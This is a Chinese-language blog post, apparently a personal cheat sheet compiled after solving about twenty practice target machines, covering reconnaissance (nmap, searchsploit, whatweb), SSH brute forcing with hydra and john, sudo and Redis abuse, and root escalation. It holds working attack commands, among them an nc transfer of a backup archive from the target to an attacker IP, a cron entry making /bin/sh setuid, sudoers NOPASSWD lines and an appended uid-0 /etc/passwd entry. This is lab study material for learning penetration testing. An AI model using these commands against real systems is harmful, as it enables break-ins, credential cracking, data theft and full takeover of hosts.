做了二十个靶机了(公众号发会留两个存货),对一些知识点做个汇总
一些没啥意思的用 exp 直接打的,不计进来
nmap
在做靶机之前,我对于 web 安全的了解仅限于一些基础的 CTF 题目,压根就没用过 nmap,虽然看过几篇介绍的文章
nmap -sC -A -T 4 -n -p- 10.10.10.171
nmap参数:
-sC 根据端口识别的服务,调用默认脚本
-A OS识别,版本探测,脚本扫描和traceroute
-T(0-5) 时间优化
-n/-R 不对IP进行域名反向解析/为所有的IP都进行域名的反向解析
-p- 扫描所有端口
searchsploit
searchsploit 是一个命令行搜索 exp 的工具,可以直接在 kali 终端中搜 exp,使用空格来区分关键词
例如:searchsploit opennetadmin
加上 -m 可以把 exp 复制到当前目录
netstat
netstat 各个参数解释
-a (all)显示所有选项,默认不显示LISTEN相关
-t (tcp)仅显示tcp相关选项
-u (udp)仅显示udp相关选项
-n 拒绝显示别名,能显示数字的全部转化成数字
-l 仅列出有在 Listen (监听) 的服务状态
-p 显示建立相关链接的程序名
-r 显示路由信息,路由表
-e 显示扩展信息,例如uid等
-s 按各个协议进行统计
-c 每隔一个固定时间,执行该netstat命令
ssh相关
john爆破密钥密码
用户将自己的公钥存储在远程主机上面,登陆的时候远程主机会向用户发送一段随机字符串,用户用私钥加密之后再将加密后的发送给主机,如果主机能够用公钥解密成功则可以连接
如果能查看密钥的话可以保存下来,然后用密钥去连接,如果密钥有密码的话,可以使用 ssh2john.py 先转换成 john 格式
python /usr/share/john/ssh2john.py mi > sshjohn
然后使用 john 爆破一下
john --wordlist=/usr/share/wordlists/rockyou.txt sshjohn
使用 john 爆破 --wordlist 指定字典
john 工具对于同一个 shadow 文件只会进行一次爆破,如果第二次执行 john shadow 是不会得到结果的
如果想查看上一次爆破的结果,可以加上个 --show
hydra爆破ssh
hydra -l jim -w 10 -P 1.txt -t 10 -v -f 192.168.149.160 ssh
-l jim 指定爆破账号为 jim
-L user.txt 指定用户名字典为 user.txt
-w 10 设置最大超时时间10s,默认30s
-P pwd.txt 指定密码字典为 pwd.txt
-t 10 指定爆破线程为 10 个
-v 指定显示爆破过程
-f 查找到第一个可以使用的账号和密码的时候停止破解
authorized_keys
authorized_keys,里面实际放的就是客户机的公钥,只要公钥在这里面,这个客户机就不用使用密码就能登录
一开始 ubuntu 中没有这个文件
wsl 用 ssh 登录 ubuntu 是需要密码的
如果我把 wsl 的公钥拷出来,放到 ubuntu 用户 yichen 的 .ssh 下 authorized_keys 中,那么将不再需要密码
那么,如果有权限,可以把自己生成的公钥拷到目标的 authorized_keys 中,那么就可以直接 ssh 登录到这个用户
(那个靶机是允许执行另一个用户的 cp 命令,然后拷贝公钥到 .ssh/authorized_keys,再登录。但感觉实际用不到,会有这么用的?也许吧😄)
sudo -l
sudo -l 可以列出当前用户可以执行哪一些指令,如果有 NOPASSWD 的,就是不需要密码就能使用 sudo 的
例如,php 是不用密码就能使用 sudo 的,那么可以写一个 php 脚本 <?php system('/bin/sh'); ?>,然后 sudo 一执行就能拿到 root 权限
还有很多软件可以具体找一下他们怎么能开一个 shell,sudo 打开就是 root
redis未授权访问
关于 redis 核心利用点是,通过没有身份校验的 redis 服务进行登陆,同时指定 config dir 和 config dbfilename 的路径与名称,达到把本地公钥存储到远程服务器上,这时候在通过 ssh 进行远程登陆。可以获得名为 redis 的 shell
有个利用脚本
https://github.com/Avinash-acid/Redis-Server-Exploit
python终端
一般打开的 shell,只有一个 $ 符号,通过这个能好看一下
python -c "import pty;pty.spawn('/bin/bash')"
从靶机上拷出东西来
(如果有 web 服务的话,直接拷到 web 目录,然后下载应该也可以吧)
攻击机新开一个终端,用来接收那个压缩包文件
nc -lvp 10001 >backup-ssh-identity-files.tgz
靶机 shell 里面使用
nc 10.10.15.84 10001 < backup-ssh-identity-files.tgz
rbash逃逸
rbash 会限制一些命令没法用
参考:https://xz.aliyun.com/t/7642
whatweb
一个命令行下识别 cms 的工具
当你能root权限写文件
写计划任务
cron 的默认配置文件是 /etc/cronted,#开头的是注释,不会被处理
然后上面的内容是来设置 cron 的运行环境的
* 表示任意的数,即每分钟、每小时、每天...
如果有编辑文件的软件(比如 teehee)是 root 权限运行的话可以写
* * * * * root chmod 4777 /bin/sh
等个一分钟就能获得一个 root 权限的 shell
写/etc/sudoers
这个东西的作用是当用户执行 sudo 的时候,会先到这里面去找,如果发现用户有 sudo 的权限就能直接以 root 的权限来执行命令
文件内容公式:
授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2...
那么可以往里写
yichen ALL=(ALL:ALL) ALL
这样 yichen 就能通过 sudo 来执行 root 权限
又或者 peter 可以不使用密码用 sudo 执行任何命令
peter ALL=(ALL) NOPASSWD: ALL
写/etc/passwd
首先要生成 hash
openssl passwd -1 -salt yichen 123456
用户名:yichen,密码:123456
echo 'yichen:$1$yichen$6nzFZVX5T21iu2AmBgzin/:0:0:yichen:/root:/bin/bash' >> /etc/passwd
然后 su yichen,输入密码:123456 就拿到 root 权限了
后续更新汇总:
https://www.yuque.com/hxfqg9/web/gxg68i
本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/3988855/blog/4351776